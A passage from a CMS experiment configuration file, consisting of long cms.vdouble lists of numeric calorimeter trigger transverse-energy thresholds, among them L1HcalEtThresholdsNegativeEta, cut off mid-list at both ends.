7.513172, 7.7341476, 7.8814647, 8.1024404, 8.323416, 8.4707331, 8.6917088, 8.9126844, 9.0600015, 9.2809772, 9.5019528, 9.7229284, 9.9439041, 10.091221, 10.312197, 10.533172, 10.754148, 10.975124, 11.196099, 11.417075, 11.638051, 11.859026, 12.080002, 12.300978, 12.521953, 12.742929, 13.037563, 13.258539, 13.479514, 13.70049, 13.921466, 14.2161, 14.437076, 14.658051, 14.952685, 15.173661, 15.394637, 15.689271, 15.910247, 16.204881, 16.425856, 16.720491, 16.941466, 17.2361, 17.457076, 17.75171, 17.972686, 18.26732, 18.561954, 18.78293, 19.077564, 19.372198, 19.593174, 19.887808, 20.182442, 20.477077, 20.771711, 20.992686, 21.287321, 21.581955, 21.876589, 22.171223, 22.465857, 22.760492, 23.055126, 23.34976, 23.644394, 23.939028, 24.233663, 24.528297, 24.822931, 25.117565, 25.412199, 25.706834, 26.001468, 26.36976, 26.664395, 26.959029, 27.253663, 27.621956, 27.91659, 28.211224, 28.505858, 28.874151, 29.168785, 29.537078, 29.831712, 30.126346, 30.494639, 30.789273, 31.157566, 31.4522, 31.820493, 32.115127, 32.48342, 32.778054, 33.146347, 33.51464, 33.809274, 34.177567, 34.545859, 34.840494, 35.208786, 35.577079, 35.945372, 36.240006, 36.608299, 36.976592, 37.344884, 37.713177, 38.007811, 38.376104, 38.744397, 39.112689, 39.480982, 39.849275, 40.217568, 40.58586, 40.954153, 41.322446, 41.690739, 42.059031, 42.500983, 42.869275, 43.237568, 43.605861, 43.974154, 44.342446, 44.784398, 45.15269, 45.520983, 45.962934, 46.331227, 46.69952, 47.141471, 47.509764, 47.878057, 48.320008, 48.688301, 49.130252, 49.498545, 49.866838, 50.308789, 50.677082, 51.119033, 51.560984, 51.929277, 52.371228, 52.739521, 53.181472, 53.623424, 53.991716, 54.433668, 54.875619, 55.243912, 55.685863, 56.127814, 56.569765, 56.938058, 57.38001, 57.821961, 58.263912, 58.705863, 59.147815, 59.589766, 59.958059, 60.40001, 60.841961, 61.283913, 61.725864, 62.167815, 62.609766, 63.051718, 63.493669, 63.93562)+cms.vdouble(64.45123, 64.893182, 65.335133, 65.777084, 66.219035, 66.660987, 67.102938, 67.618548, 68.060499, 68.50245, 68.944402, 69.460012, 69.901963, 70.343914, 70.859524, 71.301475, 71.743427, 72.259036, 72.700988, 73.216598, 73.658549, 74.1005, 74.61611, 75.058061, 75.352695, 0, 0, 0.12541802, 0.18812703, 0.25083604, 0.31354505, 0.43896307, 0.50167207, 0.56438108, 0.62709009, 0.75250811, 0.81521712, 0.94063514, 1.0033441, 1.0660532, 1.1914712, 1.2541802, 1.3795982, 1.4423072, 1.5677252, 1.6931433, 1.7558523, 1.8812703, 2.0066883, 2.0693973, 2.1948153, 2.3202333, 2.4456514, 2.5710694, 2.6337784, 2.7591964, 2.8846144, 3.0100324, 3.1354505, 3.2608685, 3.3862865, 3.5117045, 3.6371225, 3.7625406, 3.9506676, 4.0760856, 4.2015036, 4.3269216, 4.4523397, 4.5777577, 4.7658847, 4.8913027, 5.0167207, 5.2048478, 5.3302658, 5.4556838, 5.6438108, 5.7692289, 5.9573559, 6.0827739, 6.2709009, 6.396319, 6.584446, 6.709864, 6.897991, 7.0861181, 7.2115361, 7.3996631, 7.5877901, 7.7132081, 7.9013352, 8.0894622, 8.2775892, 8.4657163, 8.5911343, 8.7792613, 8.9673883, 9.1555154, 9.3436424, 9.5317694, 9.7198964, 9.9080235, 10.096151, 10.284278, 10.472405, 10.660532, 10.848659, 11.099495, 11.287622, 11.475749, 11.663876, 11.852003, 12.102839, 12.290966, 12.479093, 12.729929, 12.918056, 13.106183, 13.357019, 13.545146, 13.795982, 13.984109, 14.234945, 14.423072, 14.673908, 14.862035, 15.112871, 15.300998, 15.551834, 15.80267, 15.990797, 16.241633, 16.492469, 16.680596, 16.931433, 17.182269, 17.433105, 17.683941, 17.872068, 18.122904, 18.37374, 18.624576, 18.875412, 19.126248, 19.377084, 19.62792, 19.878756, 20.129592, 20.380428, 20.631264, 20.8821, 21.132936, 21.383772, 21.634608, 21.885444, 22.13628, 22.449825, 22.700661, 22.951497, 23.202333, 23.515878, 23.766715, 24.017551, 24.268387, 24.581932, 24.832768, 25.146313, 25.397149, 25.647985, 25.96153, 26.212366, 26.525911, 26.776747, 27.090292, 27.341128, 27.654673, 27.905509, 28.219054, 28.532599, 28.783435, 29.09698, 29.410525, 29.661361, 29.974906, 30.288452, 30.601997, 30.852833, 31.166378, 31.479923, 31.793468, 32.107013, 32.357849, 32.671394, 32.984939, 33.298484, 33.612029, 33.925574, 34.239119, 34.552664, 34.866209, 35.179754, 35.493299, 35.806844, 36.183098, 36.496643, 36.810188, 37.123734, 37.437279, 37.750824, 38.127078, 38.440623, 38.754168, 39.130422, 39.443967, 39.757512, 40.133766, 40.447311, 40.760856, 41.13711, 41.450655, 41.826909, 42.140454, 42.453999, 42.830253, 43.143798, 43.520052, 43.896307, 44.209852, 44.586106, 44.899651, 45.275905, 45.652159, 45.965704, 46.341958, 46.718212, 47.031757, 47.408011, 47.784265, 48.160519, 48.474064, 48.850318, 49.226572, 49.602826, 49.97908, 50.355334, 50.731589, 51.045134, 51.421388, 51.797642, 52.173896, 52.55015, 52.926404, 53.302658, 53.678912, 54.055166)+cms.vdouble(54.43142, 54.870383, 55.246637, 55.622891, 55.999145, 56.375399, 56.751653, 57.127907, 57.566871, 57.943125, 58.319379, 58.695633, 59.134596, 59.51085, 59.887104, 60.326067, 60.702321, 61.078575, 61.517538, 61.893792, 62.332755, 62.709009, 63.085263, 63.524226, 63.90048, 64.151317, 0, 0.13401506, 0.26803012, 0.40204518, 0.53606024, 0.67007529, 0.93810541, 1.0721205, 1.2061355, 1.3401506, 1.6081807, 1.7421958, 2.0102259, 2.1442409, 2.278256, 2.5462861, 2.6803012, 2.9483313, 3.0823464, 3.3503765, 3.6184066, 3.7524216, 4.0204518, 4.2884819, 4.4224969, 4.6905271, 4.9585572, 5.2265873, 5.4946174, 5.6286325, 5.8966626, 6.1646927, 6.4327228, 6.7007529, 6.9687831, 7.2368132, 7.5048433, 7.7728734, 8.0409035, 8.4429487, 8.7109788, 8.9790089, 9.2470391, 9.5150692, 9.7830993, 10.185144, 10.453175, 10.721205, 11.12325, 11.39128, 11.65931, 12.061355, 12.329385, 12.731431, 12.999461, 13.401506, 13.669536, 14.071581, 14.339611, 14.741656, 15.143702, 15.411732, 15.813777, 16.215822, 16.483852, 16.885897, 17.287943, 17.689988, 18.092033, 18.360063, 18.762108, 19.164153, 19.566199, 19.968244, 20.370289, 20.772334, 21.174379, 21.576424, 21.97847, 22.380515, 22.78256, 23.184605, 23.720665, 24.122711, 24.524756, 24.926801, 25.328846, 25.864906, 26.266952, 26.668997, 27.205057, 27.607102, 28.009147, 28.545208, 28.947253, 29.483313, 29.885358, 30.421418, 30.823464, 31.359524, 31.761569, 32.297629, 32.699674, 33.235735, 33.771795, 34.17384, 34.7099, 35.24596, 35.648006, 36.184066, 36.720126, 37.256186, 37.792247, 38.194292, 38.730352, 39.266412, 39.802472, 40.338533, 40.874593, 41.410653, 41.946713, 42.482774, 43.018834, 43.554894, 44.090954, 44.627015, 45.163075, 45.699135, 46.235195, 46.771256, 47.307316, 47.977391, 48.513451, 49.049512, 49.585572, 50.255647, 50.791707, 51.327768, 51.863828, 52.533903, 53.069963, 53.740039, 54.276099, 54.812159, 55.482234, 56.018295, 56.68837, 57.22443, 57.894505, 58.430566, 59.100641, 59.636701, 60.306776, 60.976852, 61.512912, 62.182987, 62.853063, 63.389123, 64.059198, 64.729273, 65.399349, 65.935409, 66.605484, 67.27556, 67.945635, 68.61571, 69.15177, 69.821846, 70.491921, 71.161996, 71.832072, 72.502147, 73.172222, 73.842297, 74.512373, 75.182448, 75.852523, 76.522599, 77.326689, 77.996764, 78.66684, 79.336915, 80.00699, 80.677065, 81.481156, 82.151231, 82.821306, 83.625397, 84.295472, 84.965547, 85.769638, 86.439713, 87.109788, 87.913879, 88.583954, 89.388044, 90.05812, 90.728195, 91.532285, 92.20236, 93.006451, 93.810541, 94.480616, 95.284707, 95.954782, 96.758872, 97.562963, 98.233038, 99.037128, 99.841219, 100.51129, 101.31538, 102.11947, 102.92357, 103.59364, 104.39773, 105.20182, 106.00591, 106.81, 107.61409, 108.41818, 109.08826, 109.89235, 110.69644, 111.50053, 112.30462, 113.10871, 113.9128, 114.71689)+cms.vdouble(115.52098, 116.32507, 117.26318, 118.06727, 118.87136, 119.67545, 120.47954, 121.28363, 122.08772, 123.02582, 123.82991, 124.634, 125.4381, 126.3762, 127.18029, 127.98438, 128.92249, 129.72658, 130.53067, 131.46877, 132.27286, 133.21097, 134.01506, 134.81915, 135.75725, 136.56134, 137.09741, 0, 0.10460836, 0.20921672, 0.31382508, 0.41843344, 0.5230418, 0.73225853, 0.83686689, 0.94147525, 1.0460836, 1.2553003, 1.3599087, 1.5691254, 1.6737338, 1.7783421, 1.9875589, 2.0921672, 2.3013839, 2.4059923, 2.615209, 2.8244257, 2.9290341, 3.1382508, 3.3474675, 3.4520759, 3.6612926, 3.8705094, 4.0797261, 4.2889428, 4.3935512, 4.6027679, 4.8119846, 5.0212013, 5.230418, 5.4396348, 5.6488515, 5.8580682, 6.0672849, 6.2765017, 6.5903267, 6.7995435, 7.0087602, 7.2179769, 7.4271936, 7.6364103, 7.9502354, 8.1594522, 8.3686689, 8.682494, 8.8917107, 9.1009274, 9.4147525, 9.6239692, 9.9377943, 10.147011, 10.460836, 10.670053, 10.983878, 11.193095, 11.50692, 11.820745, 12.029962, 12.343787, 12.657612, 12.866828, 13.180653, 13.494479, 13.808304, 14.122129, 14.331345, 14.645171, 14.958996, 15.272821, 15.586646, 15.900471, 16.214296, 16.528121, 16.841946, 17.155771, 17.469596, 17.783421, 18.097246, 18.51568, 18.829505, 19.14333, 19.457155, 19.77098, 20.189414, 20.503239, 20.817064, 21.235497, 21.549322, 21.863147, 22.281581, 22.595406, 23.013839, 23.327664, 23.746098, 24.059923, 24.478356, 24.792182, 25.210615, 25.52444, 25.942874, 26.361307, 26.675132, 27.093565, 27.511999, 27.825824, 28.244257, 28.662691, 29.081124, 29.499558, 29.813383, 30.231816, 30.65025, 31.068683, 31.487117, 31.90555, 32.323984, 32.742417, 33.16085, 33.579284, 33.997717, 34.416151, 34.834584, 35.253018, 35.671451, 36.089885, 36.508318, 36.926751, 37.449793, 37.868227, 38.28666, 38.705094, 39.228135, 39.646569, 40.065002, 40.483436, 41.006477, 41.424911, 41.947953, 42.366386, 42.78482, 43.307861, 43.726295, 44.249337, 44.66777, 45.190812, 45.609245, 46.132287, 46.550721, 47.073762, 47.596804, 48.015238, 48.538279, 49.061321, 49.479755, 50.002797, 50.525838, 51.04888, 51.467314, 51.990355, 52.513397, 53.036439, 53.559481, 53.977914, 54.500956, 55.023998, 55.54704, 56.070081, 56.593123, 57.116165, 57.639207, 58.162249, 58.68529, 59.208332, 59.731374, 60.359024, 60.882066, 61.405108, 61.92815, 62.451191, 62.974233, 63.601883, 64.124925, 64.647967, 65.275617, 65.798659, 66.321701, 66.949351, 67.472393, 67.995435, 68.623085, 69.146127, 69.773777, 70.296819, 70.81986, 71.447511, 71.970552, 72.598202, 73.225853, 73.748894, 74.376545, 74.899586, 75.527237, 76.154887, 76.677929, 77.305579, 77.933229, 78.456271, 79.083921, 79.711571, 80.339221, 80.862263, 81.489913, 82.117563, 82.745213, 83.372864, 84.000514, 84.628164, 85.151206, 85.778856, 86.406506, 87.034156, 87.661806, 88.289457, 88.917107)+cms.vdouble(89.544757, 90.172407, 90.800057, 91.532316, 92.159966, 92.787616, 93.415266, 94.042916, 94.670567, 95.298217, 96.030475, 96.658125, 97.285776, 97.913426, 98.645684, 99.273335, 99.900985, 100.63324, 101.26089, 101.88854, 102.6208, 103.24845, 103.98071, 104.60836, 105.23601, 105.96827, 106.59592, 107.01435, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5, 113)+cms.vdouble(113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112, 112.5)+cms.vdouble(113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5, 112)+cms.vdouble(112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 6.5, 7, 7.5, 8, 8.5, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.5, 13, 13.5, 14, 14.5, 15, 15.5, 16, 16.5, 17, 17.5, 18, 18.5, 19, 19.5, 20, 20.5, 21, 21.5, 22, 22.5, 23, 23.5, 24, 24.5, 25, 25.5, 26, 26.5, 27, 27.5, 28, 28.5, 29, 29.5, 30, 30.5, 31, 31.5, 32, 32.5, 33, 33.5, 34, 34.5, 35, 35.5, 36, 36.5, 37, 37.5, 38, 38.5, 39, 39.5, 40, 40.5, 41, 41.5, 42, 42.5, 43, 43.5, 44, 44.5, 45, 45.5, 46, 46.5, 47, 47.5, 48, 48.5, 49, 49.5, 50, 50.5, 51, 51.5, 52, 52.5, 53, 53.5, 54, 54.5, 55, 55.5, 56, 56.5, 57, 57.5, 58, 58.5, 59, 59.5, 60, 60.5, 61, 61.5, 62, 62.5, 63, 63.5, 64, 64.5, 65, 65.5, 66, 66.5, 67, 67.5, 68, 68.5, 69, 69.5, 70, 70.5, 71, 71.5, 72, 72.5, 73, 73.5, 74, 74.5, 75, 75.5, 76, 76.5, 77, 77.5, 78, 78.5, 79, 79.5, 80, 80.5, 81, 81.5, 82, 82.5, 83, 83.5, 84, 84.5, 85, 85.5, 86, 86.5, 87, 87.5, 88, 88.5, 89, 89.5, 90, 90.5, 91, 91.5, 92, 92.5, 93, 93.5, 94, 94.5, 95, 95.5, 96, 96.5, 97, 97.5, 98, 98.5, 99, 99.5, 100, 100.5, 101, 101.5, 102, 102.5, 103, 103.5, 104, 104.5, 105, 105.5, 106, 106.5, 107, 107.5, 108, 108.5, 109, 109.5, 110, 110.5, 111, 111.5)+cms.vdouble(112, 112.5, 113, 113.5, 114, 114.5, 115, 115.5, 116, 116.5, 117, 117.5, 118, 118.5, 119, 119.5, 120, 120.5, 121, 121.5, 122, 122.5, 123, 123.5, 124, 124.5, 125, 125.5, 126, 126.5, 127, 127.5 ), L1HcalEtThresholdsNegativeEta = cms.vdouble( 0, 0, 0, 0, 0.70733067, 0.88416334, 1.2378287, 1.4146613, 1.591494, 1.7683267, 2.121992, 2.2988247, 2.65249, 2.8293227, 3.0061554, 3.3598207, 3.5366534, 3.8903187, 4.0671514, 4.4208167, 4.774482, 4.9513147, 5.30498, 5.6586454, 5.835478, 6.1891434, 6.5428087, 6.896474, 7.2501394, 7.426972, 7.7806374, 8.1343027, 8.4879681, 8.8416334, 9.1952987, 9.5489641, 9.9026294, 10.256295, 10.60996, 11.140458, 11.494123, 11.847789, 12.201454, 12.555119, 12.908785, 13.439283, 13.792948, 14.146613, 14.677111, 15.030777, 15.384442, 15.91494, 16.268605, 16.799103, 17.152769, 17.683267, 18.036932, 18.56743, 18.921095, 19.451593, 19.982091, 20.335757, 20.866255, 21.396753, 21.750418, 22.280916, 22.811414, 23.341912, 23.87241, 24.226075, 24.756573, 25.287071, 25.81757, 26.348068, 26.878566, 27.409064, 27.939562, 28.47006, 29.000558, 29.531056, 30.061554, 30.592052, 31.299382, 31.82988, 32.360378, 32.890876, 33.421374, 34.128705, 34.659203, 35.189701, 35.897032, 36.42753, 36.958028, 37.665358, 38.195856, 38.903187, 39.433685, 40.141016, 40.671514, 41.378844, 41.909342, 42.616673, 43.147171, 43.854502, 44.561832, 45.09233, 45.799661, 46.506992, 47.03749, 47.74482, 48.452151, 49.159482, 49.866812, 50.39731, 51.104641, 51.811972, 52.519302, 53.226633, 53.933964, 54.641294, 55.348625, 56.055956, 56.763286, 57.470617, 58.177948, 58.885278, 59.592609, 60.29994, 61.00727, 61.714601, 62.421932, 63.306095, 64.013426, 64.720756, 65.428087, 66.31225, 67.019581, 67.726912, 68.434242, 69.318406, 70.025736, 70.9099, 71.61723, 72.324561, 73.208724, 73.916055, 74.800218, 75.507549, 76.391712, 77.099043, 77.983207, 78.690537, 79.574701, 80.458864, 81.166195, 82.050358, 82.934521, 83.641852, 84.526015, 85.410179, 86.294342, 87.001673, 87.885836, 88.769999, 89.654163, 90.538326, 91.245657, 92.12982, 93.013983, 93.898147, 94.78231, 95.666473, 96.550637, 97.4348, 98.318963, 99.203127, 100.08729, 100.97145, 102.03245, 102.91661, 103.80078, 104.68494, 105.5691, 106.45327, 107.51426, 108.39843, 109.28259, 110.34358, 111.22775, 112.11191, 113.17291, 114.05707, 114.94123, 116.00223, 116.88639, 117.94739, 118.83155, 119.71572, 120.77671, 121.66088, 122.72187, 123.78287, 124.66703, 125.72803, 126.61219, 127.67319, 128.73418, 129.61835, 130.67934, 131.74034, 132.6245, 133.6855, 134.74649, 135.80749, 136.69165, 137.75265, 138.81364, 139.87464, 140.93564, 141.99663, 143.05763, 143.94179, 145.00279, 146.06378, 147.12478, 148.18578, 149.24677, 150.30777, 151.36876, 152.42976, 153.49076, 154.72858, 155.78958, 156.85058, 157.91157, 158.97257, 160.03356, 161.09456, 162.33239, 163.39339, 164.45438, 165.51538, 166.75321, 167.8142, 168.8752, 170.11303, 171.17402, 172.23502, 173.47285, 174.53384, 175.77167, 176.83267, 177.89366, 179.13149, 180.19249)+cms.vdouble(180.89982, 0, 0, 0, 0, 0.70201378, 0.87751722, 1.2285241, 1.4040276, 1.579531, 1.7550344, 2.1060413, 2.2815448, 2.6325517, 2.8080551, 2.9835586, 3.3345654, 3.5100689, 3.8610758, 4.0365792, 4.3875861, 4.738593, 4.9140964, 5.2651033, 5.6161102, 5.7916137, 6.1426205, 6.4936274, 6.8446343, 7.1956412, 7.3711447, 7.7221515, 8.0731584, 8.4241653, 8.7751722, 9.1261791, 9.477186, 9.8281929, 10.1792, 10.530207, 11.056717, 11.407724, 11.758731, 12.109738, 12.460745, 12.811751, 13.338262, 13.689269, 14.040276, 14.566786, 14.917793, 15.2688, 15.79531, 16.146317, 16.672827, 17.023834, 17.550344, 17.901351, 18.427862, 18.778869, 19.305379, 19.831889, 20.182896, 20.709406, 21.235917, 21.586924, 22.113434, 22.639944, 23.166455, 23.692965, 24.043972, 24.570482, 25.096993, 25.623503, 26.150013, 26.676524, 27.203034, 27.729544, 28.256055, 28.782565, 29.309075, 29.835586, 30.362096, 31.06411, 31.59062, 32.11713, 32.643641, 33.170151, 33.872165, 34.398675, 34.925185, 35.627199, 36.153709, 36.68022, 37.382234, 37.908744, 38.610758, 39.137268, 39.839282, 40.365792, 41.067806, 41.594316, 42.29633, 42.82284, 43.524854, 44.226868, 44.753378, 45.455392, 46.157406, 46.683916, 47.38593, 48.087944, 48.789957, 49.491971, 50.018482, 50.720495, 51.422509, 52.124523, 52.826537, 53.52855, 54.230564, 54.932578, 55.634592, 56.336606, 57.038619, 57.740633, 58.442647, 59.144661, 59.846674, 60.548688, 61.250702, 61.952716, 62.830233, 63.532247, 64.234261, 64.936274, 65.813792, 66.515805, 67.217819, 67.919833, 68.79735, 69.499364, 70.376881, 71.078895, 71.780909, 72.658426, 73.36044, 74.237957, 74.939971, 75.817488, 76.519502, 77.397019, 78.099033, 78.97655, 79.854067, 80.556081, 81.433598, 82.311115, 83.013129, 83.890646, 84.768164, 85.645681, 86.347695, 87.225212, 88.102729, 88.980246, 89.857763, 90.559777, 91.437294, 92.314812, 93.192329, 94.069846, 94.947363, 95.824881, 96.702398, 97.579915, 98.457432, 99.334949, 100.21247, 101.26549, 102.143, 103.02052, 103.89804, 104.77556, 105.65307, 106.70609, 107.58361, 108.46113, 109.51415, 110.39167, 111.26918, 112.3222, 113.19972, 114.07724, 115.13026, 116.00778, 117.0608, 117.93831, 118.81583, 119.86885, 120.74637, 121.79939, 122.85241, 123.72993, 124.78295, 125.66047, 126.71349, 127.76651, 128.64402, 129.69705, 130.75007, 131.62758, 132.6806, 133.73362, 134.78665, 135.66416, 136.71718, 137.7702, 138.82322, 139.87624, 140.92927, 141.98229, 142.8598, 143.91282, 144.96584, 146.01887, 147.07189, 148.12491, 149.17793, 150.23095, 151.28397, 152.33699, 153.56551, 154.61853, 155.67155, 156.72458, 157.7776, 158.83062, 159.88364, 161.11216, 162.16518, 163.2182, 164.27122, 165.49975, 166.55277, 167.60579, 168.83431, 169.88733, 170.94035, 172.16888, 173.2219, 174.45042, 175.50344, 176.55646, 177.78499)+cms.vdouble(178.83801, 179.54002, 0, 0, 0, 0, 0.69157744, 0.86447181, 1.2102605, 1.3831549, 1.5560492, 1.7289436, 2.0747323, 2.2476267, 2.5934154, 2.7663098, 2.9392041, 3.2849929, 3.4578872, 3.8036759, 3.9765703, 4.322359, 4.6681477, 4.8410421, 5.1868308, 5.5326196, 5.7055139, 6.0513026, 6.3970914, 6.7428801, 7.0886688, 7.2615632, 7.6073519, 7.9531406, 8.2989293, 8.6447181, 8.9905068, 9.3362955, 9.6820842, 10.027873, 10.373662, 10.892345, 11.238133, 11.583922, 11.929711, 12.2755, 12.621288, 13.139971, 13.48576, 13.831549, 14.350232, 14.696021, 15.041809, 15.560492, 15.906281, 16.424964, 16.770753, 17.289436, 17.635225, 18.153908, 18.499697, 19.01838, 19.537063, 19.882852, 20.401535, 20.920218, 21.266006, 21.784689, 22.303373, 22.822056, 23.340739, 23.686527, 24.205211, 24.723894, 25.242577, 25.76126, 26.279943, 26.798626, 27.317309, 27.835992, 28.354675, 28.873358, 29.392041, 29.910724, 30.602302, 31.120985, 31.639668, 32.158351, 32.677034, 33.368612, 33.887295, 34.405978, 35.097555, 35.616238, 36.134921, 36.826499, 37.345182, 38.036759, 38.555443, 39.24702, 39.765703, 40.45728, 40.975964, 41.667541, 42.186224, 42.877802, 43.569379, 44.088062, 44.77964, 45.471217, 45.9899, 46.681477, 47.373055, 48.064632, 48.75621, 49.274893, 49.96647, 50.658048, 51.349625, 52.041203, 52.73278, 53.424358, 54.115935, 54.807512, 55.49909, 56.190667, 56.882245, 57.573822, 58.2654, 58.956977, 59.648555, 60.340132, 61.031709, 61.896181, 62.587759, 63.279336, 63.970914, 64.835385, 65.526963, 66.21854, 66.910118, 67.77459, 68.466167, 69.330639, 70.022216, 70.713794, 71.578265, 72.269843, 73.134315, 73.825892, 74.690364, 75.381941, 76.246413, 76.937991, 77.802462, 78.666934, 79.358512, 80.222984, 81.087455, 81.779033, 82.643505, 83.507976, 84.372448, 85.064026, 85.928497, 86.792969, 87.657441, 88.521913, 89.21349, 90.077962, 90.942434, 91.806906, 92.671378, 93.535849, 94.400321, 95.264793, 96.129265, 96.993737, 97.858208, 98.72268, 99.760046, 100.62452, 101.48899, 102.35346, 103.21793, 104.08241, 105.11977, 105.98424, 106.84872, 107.88608, 108.75055, 109.61502, 110.65239, 111.51686, 112.38133, 113.4187, 114.28317, 115.32054, 116.18501, 117.04948, 118.08685, 118.95132, 119.98869, 121.02605, 121.89052, 122.92789, 123.79236, 124.82973, 125.86709, 126.73157, 127.76893, 128.8063, 129.67077, 130.70814, 131.7455, 132.78287, 133.64734, 134.68471, 135.72207, 136.75944, 137.79681, 138.83417, 139.87154, 140.73601, 141.77338, 142.81074, 143.84811, 144.88547, 145.92284, 146.96021, 147.99757, 149.03494, 150.07231, 151.28257, 152.31993, 153.3573, 154.39466, 155.43203, 156.4694, 157.50676, 158.71702, 159.75439, 160.79176, 161.82912, 163.03938, 164.07675, 165.11411, 166.32438, 167.36174, 168.39911, 169.60937, 170.64673, 171.85699, 172.89436, 173.93173)+cms.vdouble(175.14199, 176.17935, 176.87093, 0, 0, 0, 0, 0.67639901, 0.84549877, 1.1836983, 1.352798, 1.5218978, 1.6909975, 2.029197, 2.1982968, 2.5364963, 2.7055961, 2.8746958, 3.2128953, 3.3819951, 3.7201946, 3.8892943, 4.2274938, 4.5656933, 4.7347931, 5.0729926, 5.4111921, 5.5802919, 